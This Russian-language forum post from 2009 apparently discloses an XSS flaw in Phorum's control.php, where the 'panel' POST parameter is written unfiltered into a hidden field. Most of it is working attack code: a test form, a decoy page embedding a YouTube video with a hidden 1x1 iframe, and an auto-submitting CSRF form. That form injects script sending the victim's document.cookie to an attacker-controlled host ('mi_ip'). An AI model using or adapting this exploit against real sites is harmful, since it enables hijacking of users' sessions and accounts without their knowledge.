| [underwater] |
17.04.2009 16:44 |
XSS (все версии)
Код:
} elseif(isset($_POST["panel"])){
$panel = $_POST["panel"];
Видно, что фильтрации на символы нету,и что можно использовать <, >, запятую, которые могут быть преобразованы в HTML. Можно воспользоватся этим:
Код:
<form method="post" action="http://web/path/control.php">
<input type="text" name="panel" value="Тут XSS" />
<input type="submit" value=" Submit "/>
</form>
Отправляем нечто вроде: "><h1>проверка" и видим что переменная $panel инфицировалась.
Код:
$PHORUM['DATA']['POST_VARS'].="<input type=\"hidden\" name=\"panel\" value=\"{$panel}\" />\n";
CSRF Уязвимость
Создаем файл, в котором будет :
Index.html
Код:
<object width="425" height="344">
<param name="movie" value="http://www.youtube.com/v/GIiFGMYpLUc&hl=es&fs=1">
</param>
<param name="allowFullScreen" value="true">
</param>
<param name="allowscriptaccess" value="always">
</param>
<embed src="http://www.youtube.com/v/GIiFGMYpLUc&hl=es&fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344">
</embed>
</object>
<br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br>
<br><br>
<iframe src="test.html" width="1" height="1" frameborder="0"></iframe>
test.html
Код:
<form method="post" action="http://forum.ru/control.php">
<input type="hidden" value='">
<script>document.location="http://mi_ip/metopo.json?req=" + document.cookie;</script>
<br x="' name="panel"/>
<input type="submit" value=" Submit "/>
</form>
<script>document.getElementsByTagName("form")[0].submit();</script>
|